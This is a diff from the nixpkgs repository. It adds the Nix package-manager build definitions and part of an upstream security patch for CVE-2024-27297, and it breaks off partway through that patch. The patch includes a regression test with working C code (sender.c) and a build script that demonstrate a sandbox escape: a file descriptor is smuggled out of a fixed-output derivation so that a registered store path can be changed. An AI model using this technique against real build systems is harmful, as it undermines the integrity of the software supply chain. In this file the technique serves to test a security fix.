about summary refs log tree commit diff
path: root/nixpkgs/pkgs/tools/package-management/nix
diff options
context:
space:
mode:
Diffstat (limited to 'nixpkgs/pkgs/tools/package-management/nix')
-rw-r--r--nixpkgs/pkgs/tools/package-management/nix/common.nix267
-rw-r--r--nixpkgs/pkgs/tools/package-management/nix/default.nix298
-rw-r--r--nixpkgs/pkgs/tools/package-management/nix/nix-perl.nix43
-rw-r--r--nixpkgs/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch379
-rw-r--r--nixpkgs/pkgs/tools/package-management/nix/patches/2_19/CVE-2024-27297.patch407
-rw-r--r--nixpkgs/pkgs/tools/package-management/nix/patches/2_3/CVE-2024-27297.patch375
-rw-r--r--nixpkgs/pkgs/tools/package-management/nix/patches/aws-sdk-cpp-TransferManager-ContentEncoding.patch127
-rw-r--r--nixpkgs/pkgs/tools/package-management/nix/patches/boehmgc-coroutine-sp-fallback.patch45
-rw-r--r--nixpkgs/pkgs/tools/package-management/nix/patches/flaky-tests.patch12
9 files changed, 1953 insertions, 0 deletions
diff --git a/nixpkgs/pkgs/tools/package-management/nix/common.nix b/nixpkgs/pkgs/tools/package-management/nix/common.nix
new file mode 100644
index 000000000000..d0840d206b67
--- /dev/null
+++ b/nixpkgs/pkgs/tools/package-management/nix/common.nix
@@ -0,0 +1,267 @@
+{ lib
+, fetchFromGitHub
+, version
+, suffix ? ""
+, hash ? null
+, src ? fetchFromGitHub { owner = "NixOS"; repo = "nix"; rev = version; inherit hash; }
+, patches ? [ ]
+, maintainers ? with lib.maintainers; [ eelco lovesegfault artturin ma27 ]
+}@args:
+assert (hash == null) -> (src != null);
+let
+  atLeast24 = lib.versionAtLeast version "2.4pre";
+  atLeast25 = lib.versionAtLeast version "2.5pre";
+  atLeast27 = lib.versionAtLeast version "2.7pre";
+  atLeast210 = lib.versionAtLeast version "2.10pre";
+  atLeast213 = lib.versionAtLeast version "2.13pre";
+  atLeast214 = lib.versionAtLeast version "2.14pre";
+  atLeast220 = lib.versionAtLeast version "2.20pre";
+  atLeast221 = lib.versionAtLeast version "2.21pre";
+  # Major.minor versions unaffected by CVE-2024-27297
+  unaffectedByFodSandboxEscape = [
+    "2.3"
+    "2.18"
+    "2.19"
+    "2.20"
+  ];
+in
+{ stdenv
+, autoconf-archive
+, autoreconfHook
+, bash
+, bison
+, boehmgc
+, boost
+, brotli
+, busybox-sandbox-shell
+, bzip2
+, callPackage
+, coreutils
+, curl
+, docbook_xsl_ns
+, docbook5
+, editline
+, flex
+, gnutar
+, gtest
+, gzip
+, jq
+, lib
+, libarchive
+, libcpuid
+, libgit2
+, libsodium
+, libxml2
+, libxslt
+, lowdown
+, mdbook
+, mdbook-linkcheck
+, nlohmann_json
+, openssl
+, perl
+, pkg-config
+, rapidcheck
+, Security
+, sqlite
+, util-linuxMinimal
+, xz
+
+, enableDocumentation ? !atLeast24 || stdenv.hostPlatform == stdenv.buildPlatform
+, enableStatic ? stdenv.hostPlatform.isStatic
+, withAWS ? !enableStatic && (stdenv.isLinux || stdenv.isDarwin), aws-sdk-cpp
+, withLibseccomp ? lib.meta.availableOn stdenv.hostPlatform libseccomp, libseccomp
+
+, confDir
+, stateDir
+, storeDir
+
+  # passthru tests
+, pkgsi686Linux
+}: let
+self = stdenv.mkDerivation {
+  pname = "nix";
+
+  version = "${version}${suffix}";
+  VERSION_SUFFIX = suffix;
+
+  inherit src patches;
+
+  outputs =
+    [ "out" "dev" ]
+    ++ lib.optionals enableDocumentation [ "man" "doc" ];
+
+  hardeningEnable = lib.optionals (!stdenv.isDarwin) [ "pie" ];
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isMusl "fortify";
+
+  nativeBuildInputs = [
+    pkg-config
+    autoconf-archive
+    autoreconfHook
+    bison
+    flex
+    jq
+  ] ++ lib.optionals (enableDocumentation && !atLeast24) [
+    libxslt
+    libxml2
+    docbook_xsl_ns
+    docbook5
+  ] ++ lib.optionals (enableDocumentation && atLeast24) [
+    (lib.getBin lowdown)
+    mdbook
+  ] ++ lib.optionals (atLeast213 && enableDocumentation) [
+    mdbook-linkcheck
+  ] ++ lib.optionals stdenv.isLinux [
+    util-linuxMinimal
+  ];
+
+  buildInputs = [
+    boost
+    brotli
+    bzip2
+    curl
+    editline
+    libsodium
+    openssl
+    sqlite
+    xz
+    gtest
+    libarchive
+    lowdown
+  ] ++ lib.optionals atLeast220 [
+    libgit2
+  ] ++ lib.optionals stdenv.isDarwin [
+    Security
+  ] ++ lib.optionals (stdenv.isx86_64) [
+    libcpuid
+  ] ++ lib.optionals atLeast214 [
+    rapidcheck
+  ] ++ lib.optionals withLibseccomp [
+    libseccomp
+  ] ++ lib.optionals withAWS [
+    aws-sdk-cpp
+  ];
+
+  propagatedBuildInputs = [
+    boehmgc
+  ] ++ lib.optionals (atLeast27) [
+    nlohmann_json
+  ];
+
+  postPatch = ''
+    patchShebangs --build tests
+  '';
+
+  preConfigure =
+    # Copy libboost_context so we don't get all of Boost in our closure.
+    # https://github.com/NixOS/nixpkgs/issues/45462
+    lib.optionalString (!enableStatic) ''
+      mkdir -p $out/lib
+      cp -pd ${boost}/lib/{libboost_context*,libboost_thread*,libboost_system*} $out/lib
+      rm -f $out/lib/*.a
+      ${lib.optionalString stdenv.isLinux ''
+        chmod u+w $out/lib/*.so.*
+        patchelf --set-rpath $out/lib:${stdenv.cc.cc.lib}/lib $out/lib/libboost_thread.so.*
+      ''}
+    '' +
+    # On all versions before c9f51e87057652db0013289a95deffba495b35e7, which
+    # removes config.nix entirely and is not present in 2.3.x, we need to
+    # patch around an issue where the Nix configure step pulls in the build
+    # system's bash and other utilities when cross-compiling.
+    lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform && !atLeast24) ''
+      mkdir tmp/
+      substitute corepkgs/config.nix.in tmp/config.nix.in \
+        --subst-var-by bash ${bash}/bin/bash \
+        --subst-var-by coreutils ${coreutils}/bin \
+        --subst-var-by bzip2 ${bzip2}/bin/bzip2 \
+        --subst-var-by gzip ${gzip}/bin/gzip \
+        --subst-var-by xz ${xz}/bin/xz \
+        --subst-var-by tar ${gnutar}/bin/tar \
+        --subst-var-by tr ${coreutils}/bin/tr
+      mv tmp/config.nix.in corepkgs/config.nix.in
+    '';
+
+  configureFlags = [
+    "--with-store-dir=${storeDir}"
+    "--localstatedir=${stateDir}"
+    "--sysconfdir=${confDir}"
+    "--enable-gc"
+  ] ++ lib.optionals (!enableDocumentation) [
+    "--disable-doc-gen"
+  ] ++ lib.optionals stdenv.isLinux [
+    "--with-sandbox-shell=${busybox-sandbox-shell}/bin/busybox"
+  ] ++ lib.optionals (atLeast210 && stdenv.isLinux && stdenv.hostPlatform.isStatic) [
+    "--enable-embedded-sandbox-shell"
+  ] ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform && stdenv.hostPlatform ? nix && stdenv.hostPlatform.nix ? system) [
+    "--with-system=${stdenv.hostPlatform.nix.system}"
+  ] ++ lib.optionals (!withLibseccomp) [
+    # RISC-V support in progress https://github.com/seccomp/libseccomp/pull/50
+    "--disable-seccomp-sandboxing"
+  ] ++ lib.optionals (atLeast210 && stdenv.cc.isGNU && !enableStatic) [
+    "--enable-lto"
+  ];
+
+  makeFlags = [
+    # gcc runs multi-threaded LTO using make and does not yet detect the new fifo:/path style
+    # of make jobserver. until gcc adds support for this we have to instruct make to use this
+    # old style or LTO builds will run their linking on only one thread, which takes forever.
+    "--jobserver-style=pipe"
+    "profiledir=$(out)/etc/profile.d"
+  ] ++ lib.optional (stdenv.hostPlatform != stdenv.buildPlatform) "PRECOMPILE_HEADERS=0"
+    ++ lib.optional (stdenv.hostPlatform.isDarwin) "PRECOMPILE_HEADERS=1";
+
+  installFlags = [ "sysconfdir=$(out)/etc" ];
+
+  doInstallCheck = true;
+  installCheckTarget = if atLeast210 then "installcheck" else null;
+
+  # socket path becomes too long otherwise
+  preInstallCheck = lib.optionalString stdenv.isDarwin ''
+    export TMPDIR=$NIX_BUILD_TOP
+  ''
+  # Prevent crashes in libcurl due to invoking Objective-C `+initialize` methods after `fork`.
+  # See http://sealiesoftware.com/blog/archive/2017/6/5/Objective-C_and_fork_in_macOS_1013.html.
+  + lib.optionalString stdenv.isDarwin ''
+    export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
+  ''
+  # See https://github.com/NixOS/nix/issues/5687
+  + lib.optionalString (atLeast25 && stdenv.isDarwin) ''
+    echo "exit 99" > tests/gc-non-blocking.sh
+  '';
+
+  separateDebugInfo = stdenv.isLinux && (atLeast24 -> !enableStatic);
+
+  enableParallelBuilding = true;
+
+  passthru = {
+    inherit aws-sdk-cpp boehmgc;
+
+    perl-bindings = perl.pkgs.toPerlModule (callPackage ./nix-perl.nix { nix = self; inherit Security; });
+
+    tests = {
+      nixi686 = pkgsi686Linux.nixVersions.${"nix_${lib.versions.major version}_${lib.versions.minor version}"};
+    };
+  };
+
+  # point 'nix edit' and ofborg at the file that defines the attribute,
+  # not this common file.
+  pos = builtins.unsafeGetAttrPos "version" args;
+  meta = with lib; {
+    description = "Powerful package manager that makes package management reliable and reproducible";
+    longDescription = ''
+      Nix is a powerful package manager for Linux and other Unix systems that
+      makes package management reliable and reproducible. It provides atomic
+      upgrades and rollbacks, side-by-side installation of multiple versions of
+      a package, multi-user package management and easy setup of build
+      environments.
+    '';
+    homepage = "https://nixos.org/";
+    license = licenses.lgpl2Plus;
+    inherit maintainers;
+    platforms = platforms.unix;
+    outputsToInstall = [ "out" ] ++ optional enableDocumentation "man";
+    mainProgram = "nix";
+    knownVulnerabilities = lib.optional (!builtins.elem (lib.versions.majorMinor version) unaffectedByFodSandboxEscape && !atLeast221) "CVE-2024-27297";
+  };
+};
+in self
diff --git a/nixpkgs/pkgs/tools/package-management/nix/default.nix b/nixpkgs/pkgs/tools/package-management/nix/default.nix
new file mode 100644
index 000000000000..92c988ea5d08
--- /dev/null
+++ b/nixpkgs/pkgs/tools/package-management/nix/default.nix
@@ -0,0 +1,298 @@
+{ lib
+, config
+, aws-sdk-cpp
+, boehmgc
+, callPackage
+, fetchFromGitHub
+, fetchpatch
+, fetchpatch2
+, runCommand
+, Security
+
+, storeDir ? "/nix/store"
+, stateDir ? "/nix/var"
+, confDir ? "/etc"
+}:
+let
+  boehmgc-nix_2_3 = boehmgc.override { enableLargeConfig = true; };
+
+  boehmgc-nix = boehmgc-nix_2_3.overrideAttrs (drv: {
+    patches = (drv.patches or [ ]) ++ [
+      # Part of the GC solution in https://github.com/NixOS/nix/pull/4944
+      ./patches/boehmgc-coroutine-sp-fallback.patch
+
+      # Required since 2.20, and has always been a valid change
+      # Awaiting 8.2 patch release of https://github.com/ivmai/bdwgc/commit/d1d4194c010bff2dc9237223319792cae834501c
+      # or master release of https://github.com/ivmai/bdwgc/commit/86b3bf0c95b66f718c3cb3d35fd7387736c2a4d7
+      (fetchpatch {
+        name = "boehmgc-traceable_allocator-public.diff";
+        url = "https://github.com/NixOS/nix/raw/2.20.0/dep-patches/boehmgc-traceable_allocator-public.diff";
+        hash = "sha256-FLsHY/JS46neiSyyQkVpbHZEFvWSCzWrFQu1CC71sh4=";
+      })
+    ];
+  });
+
+  # old nix fails to build with newer aws-sdk-cpp and the patch doesn't apply
+  aws-sdk-cpp-old-nix = (aws-sdk-cpp.override {
+    apis = [ "s3" "transfer" ];
+    customMemoryManagement = false;
+  }).overrideAttrs (args: rec {
+    # intentionally overriding postPatch
+    version = "1.9.294";
+
+    src = fetchFromGitHub {
+      owner = "aws";
+      repo = "aws-sdk-cpp";
+      rev = version;
+      hash = "sha256-Z1eRKW+8nVD53GkNyYlZjCcT74MqFqqRMeMc33eIQ9g=";
+    };
+    postPatch = ''
+      # Avoid blanket -Werror to evade build failures on less
+      # tested compilers.
+      substituteInPlace cmake/compiler_settings.cmake \
+        --replace '"-Werror"' ' '
+
+      # Missing includes for GCC11
+      sed '5i#include <thread>' -i \
+        aws-cpp-sdk-cloudfront-integration-tests/CloudfrontOperationTest.cpp \
+        aws-cpp-sdk-cognitoidentity-integration-tests/IdentityPoolOperationTest.cpp \
+        aws-cpp-sdk-dynamodb-integration-tests/TableOperationTest.cpp \
+        aws-cpp-sdk-elasticfilesystem-integration-tests/ElasticFileSystemTest.cpp \
+        aws-cpp-sdk-lambda-integration-tests/FunctionTest.cpp \
+        aws-cpp-sdk-mediastore-data-integration-tests/MediaStoreDataTest.cpp \
+        aws-cpp-sdk-queues/source/sqs/SQSQueue.cpp \
+        aws-cpp-sdk-redshift-integration-tests/RedshiftClientTest.cpp \
+        aws-cpp-sdk-s3-crt-integration-tests/BucketAndObjectOperationTest.cpp \
+        aws-cpp-sdk-s3-integration-tests/BucketAndObjectOperationTest.cpp \
+        aws-cpp-sdk-s3control-integration-tests/S3ControlTest.cpp \
+        aws-cpp-sdk-sqs-integration-tests/QueueOperationTest.cpp \
+        aws-cpp-sdk-transfer-tests/TransferTests.cpp
+      # Flaky on Hydra
+      rm aws-cpp-sdk-core-tests/aws/auth/AWSCredentialsProviderTest.cpp
+      # Includes aws-c-auth private headers, so only works with submodule build
+      rm aws-cpp-sdk-core-tests/aws/auth/AWSAuthSignerTest.cpp
+      # TestRandomURLMultiThreaded fails
+      rm aws-cpp-sdk-core-tests/http/HttpClientTest.cpp
+    '' + lib.optionalString aws-sdk-cpp.stdenv.isi686 ''
+      # EPSILON is exceeded
+      rm aws-cpp-sdk-core-tests/aws/client/AdaptiveRetryStrategyTest.cpp
+    '';
+
+    patches = (args.patches or [ ]) ++ [ ./patches/aws-sdk-cpp-TransferManager-ContentEncoding.patch ];
+
+    # only a stripped down version is build which takes a lot less resources to build
+    requiredSystemFeatures = [ ];
+  });
+
+  aws-sdk-cpp-nix = (aws-sdk-cpp.override {
+    apis = [ "s3" "transfer" ];
+    customMemoryManagement = false;
+  }).overrideAttrs {
+    # only a stripped down version is build which takes a lot less resources to build
+    requiredSystemFeatures = [ ];
+  };
+
+
+  common = args:
+    callPackage
+      (import ./common.nix ({ inherit lib fetchFromGitHub; } // args))
+      {
+        inherit Security storeDir stateDir confDir;
+        boehmgc = boehmgc-nix;
+        aws-sdk-cpp = if lib.versionAtLeast args.version "2.12pre" then aws-sdk-cpp-nix else aws-sdk-cpp-old-nix;
+      };
+
+  # https://github.com/NixOS/nix/pull/7585
+  patch-monitorfdhup = fetchpatch2 {
+    name = "nix-7585-monitor-fd-hup.patch";
+    url = "https://github.com/NixOS/nix/commit/1df3d62c769dc68c279e89f68fdd3723ed3bcb5a.patch";
+    hash = "sha256-f+F0fUO+bqyPXjt+IXJtISVr589hdc3y+Cdrxznb+Nk=";
+  };
+
+  # https://github.com/NixOS/nix/pull/7473
+  patch-sqlite-exception = fetchpatch2 {
+    name = "nix-7473-sqlite-exception-add-message.patch";
+    url = "https://github.com/hercules-ci/nix/commit/c965f35de71cc9d88f912f6b90fd7213601e6eb8.patch";
+    hash = "sha256-tI5nKU7SZgsJrxiskJ5nHZyfrWf5aZyKYExM0792N80=";
+  };
+
+  patch-non-existing-output = fetchpatch {
+    # https://github.com/NixOS/nix/pull/7283
+    name = "fix-requires-non-existing-output.patch";
+    url = "https://github.com/NixOS/nix/commit/3ade5f5d6026b825a80bdcc221058c4f14e10a27.patch";
+    hash = "sha256-s1ybRFCjQaSGj7LKu0Z5g7UiHqdJGeD+iPoQL0vaiS0=";
+  };
+
+  patch-rapidcheck-shared = fetchpatch2 {
+    # https://github.com/NixOS/nix/pull/9431
+    name = "fix-missing-librapidcheck.patch";
+    url = "https://github.com/NixOS/nix/commit/46131567da96ffac298b9ec54016b37114b0dfd5.patch";
+    hash = "sha256-lShYxYKRDWwBqCysAFmFBudhhAL1eendWcL8sEFLCGg=";
+  };
+
+  # Intentionally does not support overrideAttrs etc
+  # Use only for tests that are about the package relation to `pkgs` and/or NixOS.
+  addTestsShallowly = tests: pkg: pkg // {
+    tests = pkg.tests // tests;
+    # In case someone reads the wrong attribute
+    passthru.tests = pkg.tests // tests;
+  };
+
+  addFallbackPathsCheck = pkg: addTestsShallowly
+    { nix-fallback-paths =
+        runCommand "test-nix-fallback-paths-version-equals-nix-stable" {
+          paths = lib.concatStringsSep "\n" (builtins.attrValues (import ../../../../nixos/modules/installer/tools/nix-fallback-paths.nix));
+        } ''
+          if [[ "" != $(grep -v 'nix-${pkg.version}$' <<< "$paths") ]]; then
+            echo "nix-fallback-paths not up to date with nixVersions.stable (nix-${pkg.version})"
+            echo "The following paths are not up to date:"
+            grep -v 'nix-${pkg.version}$' <<< "$paths"
+            echo
+            echo "Fix it by running in nixpkgs:"
+            echo
+            echo "curl https://releases.nixos.org/nix/nix-${pkg.version}/fallback-paths.nix >nixos/modules/installer/tools/nix-fallback-paths.nix"
+            echo
+            exit 1
+          else
+            echo "nix-fallback-paths versions up to date"
+            touch $out
+          fi
+        '';
+    }
+    pkg;
+
+in lib.makeExtensible (self: ({
+  nix_2_3 = (common {
+    version = "2.3.17";
+    hash = "sha256-EK0pgHDekJFqr0oMj+8ANIjq96WPjICe2s0m4xkUdH4=";
+    patches = [
+      patch-monitorfdhup
+      ./patches/2_3/CVE-2024-27297.patch
+    ];
+    maintainers = with lib.maintainers; [ flokli raitobezarius ];
+  }).override { boehmgc = boehmgc-nix_2_3; };
+
+  nix_2_10 = common {
+    version = "2.10.3";
+    hash = "sha256-B9EyDUz/9tlcWwf24lwxCFmkxuPTVW7HFYvp0C4xGbc=";
+    patches = [
+      ./patches/flaky-tests.patch
+      patch-non-existing-output
+      patch-monitorfdhup
+      patch-sqlite-exception
+    ];
+  };
+
+  nix_2_11 = common {
+    version = "2.11.1";
+    hash = "sha256-qCV65kw09AG+EkdchDPq7RoeBznX0Q6Qa4yzPqobdOk=";
+    patches = [
+      ./patches/flaky-tests.patch
+      patch-non-existing-output
+      patch-monitorfdhup
+      patch-sqlite-exception
+    ];
+  };
+
+  nix_2_12 = common {
+    version = "2.12.1";
+    hash = "sha256-GmHKhq0uFtdOiJnuBwj2YwlZjvh6YTkfQZgeu4e0dLU=";
+    patches = [
+      ./patches/flaky-tests.patch
+      patch-monitorfdhup
+      patch-sqlite-exception
+    ];
+  };
+
+  nix_2_13 = common {
+    version = "2.13.6";
+    hash = "sha256-pd2yGmHWn4njfbrSP6cMJx8qL+yeGieqcbLNICzcRFs=";
+  };
+
+  nix_2_14 = common {
+    version = "2.14.1";
+    hash = "sha256-5aCmGZbsFcLIckCDfvnPD4clGPQI7qYAqHYlttN/Wkg=";
+    patches = [
+      patch-rapidcheck-shared
+    ];
+  };
+
+  nix_2_15 = common {
+    version = "2.15.3";
+    hash = "sha256-sfFXbjC5iIdSAbctZIuFozxX0uux/KFBNr9oh33xINs=";
+    patches = [
+      patch-rapidcheck-shared
+    ];
+  };
+
+  nix_2_16 = common {
+    version = "2.16.2";
+    hash = "sha256-VXIYCDkvAWeMoU0W2ZI0TeOszCZA1o8trz6YCPFD5ac=";
+    patches = [
+      patch-rapidcheck-shared
+    ];
+  };
+
+  nix_2_17 = common {
+    version = "2.17.1";
+    hash = "sha256-Q5L+rHzjp0bYuR2ogg+YPCn6isjmlQ4CJVT0zpn/hFc=";
+    patches = [
+      patch-rapidcheck-shared
+    ];
+  };
+
+  nix_2_18 = common {
+    version = "2.18.1";
+    hash = "sha256-WNmifcTsN9aG1ONkv+l2BC4sHZZxtNKy0keqBHXXQ7w=";
+    patches = [
+      patch-rapidcheck-shared
+      ./patches/2_18/CVE-2024-27297.patch
+    ];
+  };
+
+  nix_2_19 = common {
+    version = "2.19.3";
+    hash = "sha256-EtL6M0H5+0mFbFh+teVjm+0B+xmHoKwtBvigS5NMWoo=";
+    patches = [
+      ./patches/2_19/CVE-2024-27297.patch
+    ];
+  };
+
+  nix_2_20 = common {
+    version = "2.20.5";
+    hash = "sha256-bfFe38BkoQws7om4gBtBWoNTLkt9piMXdLLoHYl+vBQ=";
+  };
+
+  # The minimum Nix version supported by Nixpkgs
+  # Note that some functionality *might* have been backported into this Nix version,
+  # making this package an inaccurate representation of what features are available
+  # in the actual lowest minver.nix *patch* version.
+  minimum =
+    let
+      minver = import ../../../../lib/minver.nix;
+      major = lib.versions.major minver;
+      minor = lib.versions.minor minver;
+      attribute = "nix_${major}_${minor}";
+      nix = self.${attribute};
+    in
+    if ! self ? ${attribute} then
+      throw "The minimum supported Nix version is ${minver} (declared in lib/minver.nix), but pkgs.nixVersions.${attribute} does not exist."
+    else
+      nix;
+
+  stable = addFallbackPathsCheck self.nix_2_18;
+
+  unstable = self.nix_2_20;
+} // lib.optionalAttrs config.allowAliases {
+  nix_2_4 = throw "nixVersions.nix_2_4 has been removed";
+
+  nix_2_5 = throw "nixVersions.nix_2_5 has been removed";
+
+  nix_2_6 = throw "nixVersions.nix_2_6 has been removed";
+
+  nix_2_7 = throw "nixVersions.nix_2_7 has been removed";
+
+  nix_2_8 = throw "nixVersions.nix_2_8 has been removed";
+
+  nix_2_9 = throw "nixVersions.nix_2_9 has been removed";
+}))
diff --git a/nixpkgs/pkgs/tools/package-management/nix/nix-perl.nix b/nixpkgs/pkgs/tools/package-management/nix/nix-perl.nix
new file mode 100644
index 000000000000..0796a0914f1f
--- /dev/null
+++ b/nixpkgs/pkgs/tools/package-management/nix/nix-perl.nix
@@ -0,0 +1,43 @@
+{ stdenv
+, lib
+, perl
+, pkg-config
+, curl
+, nix
+, libsodium
+, boost
+, autoreconfHook
+, autoconf-archive
+, nlohmann_json
+, Security
+}:
+
+stdenv.mkDerivation {
+  pname = "nix-perl";
+  inherit (nix) version src;
+
+  postUnpack = "sourceRoot=$sourceRoot/perl";
+
+  buildInputs = lib.optional (stdenv.isDarwin) Security;
+
+  # This is not cross-compile safe, don't have time to fix right now
+  # but noting for future travellers.
+  nativeBuildInputs = [
+    autoconf-archive
+    autoreconfHook
+    boost
+    curl
+    libsodium
+    nix
+    nlohmann_json
+    perl
+    pkg-config
+  ];
+
+  configureFlags = [
+    "--with-dbi=${perl.pkgs.DBI}/${perl.libPrefix}"
+    "--with-dbd-sqlite=${perl.pkgs.DBDSQLite}/${perl.libPrefix}"
+  ];
+
+  preConfigure = "export NIX_STATE_DIR=$TMPDIR";
+}
diff --git a/nixpkgs/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch b/nixpkgs/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch
new file mode 100644
index 000000000000..8d110d46a6bb
--- /dev/null
+++ b/nixpkgs/pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch
@@ -0,0 +1,379 @@
+From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001
+From: Tom Bereknyei <tomberek@gmail.com>
+Date: Fri, 1 Mar 2024 03:42:26 -0500
+Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape
+
+Test that we can't leverage abstract unix domain sockets to leak file
+descriptors out of the sandbox and modify the path after it has been
+registered.
+
+Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io>
+---
+ flake.nix                          |  2 +
+ tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++
+ tests/nixos/ca-fd-leak/sender.c    | 65 +++++++++++++++++++++
+ tests/nixos/ca-fd-leak/smuggler.c  | 66 ++++++++++++++++++++++
+ 4 files changed, 223 insertions(+)
+ create mode 100644 tests/nixos/ca-fd-leak/default.nix
+ create mode 100644 tests/nixos/ca-fd-leak/sender.c
+ create mode 100644 tests/nixos/ca-fd-leak/smuggler.c
+
+diff --git a/flake.nix b/flake.nix
+index 230bb6031..4a54c660f 100644
+--- a/flake.nix
++++ b/flake.nix
+@@ -634,6 +634,8 @@
+           ["i686-linux" "x86_64-linux"]
+           (system: runNixOSTestFor system ./tests/nixos/setuid.nix);
+ 
++        tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak;
++
+ 
+         # Make sure that nix-env still produces the exact same result
+         # on a particular version of Nixpkgs.
+diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix
+new file mode 100644
+index 000000000..a6ae72adc
+--- /dev/null
++++ b/tests/nixos/ca-fd-leak/default.nix
+@@ -0,0 +1,90 @@
++# Nix is a sandboxed build system. But Not everything can be handled inside its
++# sandbox: Network access is normally blocked off, but to download sources, a
++# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
++# The detail here is not important, but in our case it means that the hash of
++# the output has to be known beforehand. And if you know that, you get a few
++# rights: you no longer run inside a special network namespace!
++#
++# Now, Linux has a special feature, that not many other unices do: Abstract
++# unix domain sockets! Not only that, but those are namespaced using the
++# network namespace! That means that we have a way to create sockets that are
++# available in every single fixed-output derivation, and also all processes
++# running on the host machine! Now, this wouldn't be that much of an issue, as,
++# well, the whole idea is that the output is pure, and all processes in the
++# sandbox are killed before finalizing the output. What if we didn't need those
++# processes at all? Unix domain sockets have a semi-known trick: you can pass
++# file descriptors around!
++# This makes it possible to exfiltrate a file-descriptor with write access to
++# $out outside of the sandbox. And that file-descriptor can be used to modify
++# the contents of the store path after it has been registered.
++
++{ config, ... }:
++
++let
++  pkgs = config.nodes.machine.nixpkgs.pkgs;
++
++  # Simple C program that sends a a file descriptor to `$out` to a Unix
++  # domain socket.
++  # Compiled statically so that we can easily send it to the VM and use it
++  # inside the build sandbox.
++  sender = pkgs.runCommandWith {
++    name = "sender";
++    stdenv = pkgs.pkgsStatic.stdenv;
++  } ''
++    $CC -static -o $out ${./sender.c}
++  '';
++
++  # Okay, so we have a file descriptor shipped out of the FOD now. But the
++  # Nix store is read-only, right? .. Well, yeah. But this file descriptor
++  # lives in a mount namespace where it is not! So even when this file exists
++  # in the actual Nix store, we're capable of just modifying its contents...
++  smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
++
++  # The abstract socket path used to exfiltrate the file descriptor
++  socketName = "FODSandboxExfiltrationSocket";
++in
++{
++  name = "ca-fd-leak";
++
++  nodes.machine =
++    { config, lib, pkgs, ... }:
++    { virtualisation.writableStore = true;
++      nix.settings.substituters = lib.mkForce [ ];
++      virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
++    };
++
++  testScript = { nodes }: ''
++    start_all()
++
++    machine.succeed("echo hello")
++    # Start the smuggler server
++    machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
++
++    # Build the smuggled derivation.
++    # This will connect to the smuggler server and send it the file descriptor
++    machine.succeed(r"""
++      nix-build -E '
++        builtins.derivation {
++          name = "smuggled";
++          system = builtins.currentSystem;
++          # look ma, no tricks!
++          outputHashMode = "flat";
++          outputHashAlgo = "sha256";
++          outputHash = builtins.hashString "sha256" "hello, world\n";
++          builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
++          args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
++      }'
++    """.strip())
++
++
++    # Tell the smuggler server that we're done
++    machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
++
++    # Check that the file was not modified
++    machine.succeed(r"""
++      cat ./result
++      test "$(cat ./result)" = "hello, world"
++    """.strip())
++  '';
++
++}
+diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c
+new file mode 100644
+index 000000000..75e54fc8f
+--- /dev/null
++++ b/tests/nixos/ca-fd-leak/sender.c
+@@ -0,0 +1,65 @@
++#include <sys/socket.h>
++#include <sys/un.h>
++#include <stdlib.h>
++#include <stddef.h>
++#include <stdio.h>
++#include <unistd.h>
++#include <fcntl.h>
++#include <errno.h>
++#include <string.h>
++#include <assert.h>
++
++int main(int argc, char **argv) {
++
++    assert(argc == 2);
++
++    int sock = socket(AF_UNIX, SOCK_STREAM, 0);
++
++    // Set up a abstract domain socket path to connect to.
++    struct sockaddr_un data;
++    data.sun_family = AF_UNIX;
++    data.sun_path[0] = 0;
++    strcpy(data.sun_path + 1, argv[1]);
++
++    // Now try to connect, To ensure we work no matter what order we are
++    // executed in, just busyloop here.
++    int res = -1;
++    while (res < 0) {
++        res = connect(sock, (const struct sockaddr *)&data,
++            offsetof(struct sockaddr_un, sun_path)
++              + strlen(argv[1])
++              + 1);
++        if (res < 0 && errno != ECONNREFUSED) perror("connect");
++        if (errno != ECONNREFUSED) break;
++    }
++
++    // Write our message header.
++    struct msghdr msg = {0};
++    msg.msg_control = malloc(128);
++    msg.msg_controllen = 128;
++
++    // Write an SCM_RIGHTS message containing the output path.
++    struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
++    hdr->cmsg_len = CMSG_LEN(sizeof(int));
++    hdr->cmsg_level = SOL_SOCKET;
++    hdr->cmsg_type = SCM_RIGHTS;
++    int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
++    memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
++
++    msg.msg_controllen = CMSG_SPACE(sizeof(int));
++
++    // Write a single null byte too.
++    msg.msg_iov = malloc(sizeof(struct iovec));
++    msg.msg_iov[0].iov_base = "";
++    msg.msg_iov[0].iov_len = 1;
++    msg.msg_iovlen = 1;
++
++    // Send it to the othher side of this connection.
++    res = sendmsg(sock, &msg, 0);
++    if (res < 0) perror("sendmsg");
++    int buf;
++
++    // Wait for the server to close the socket, implying that it has
++    // received the commmand.
++    recv(sock, (void *)&buf, sizeof(int), 0);
++}
+diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c
+new file mode 100644
+index 000000000..82acf37e6
+--- /dev/null
++++ b/tests/nixos/ca-fd-leak/smuggler.c
+@@ -0,0 +1,66 @@
++#include <sys/socket.h>
++#include <sys/un.h>
++#include <stdlib.h>
++#include <stddef.h>
++#include <stdio.h>
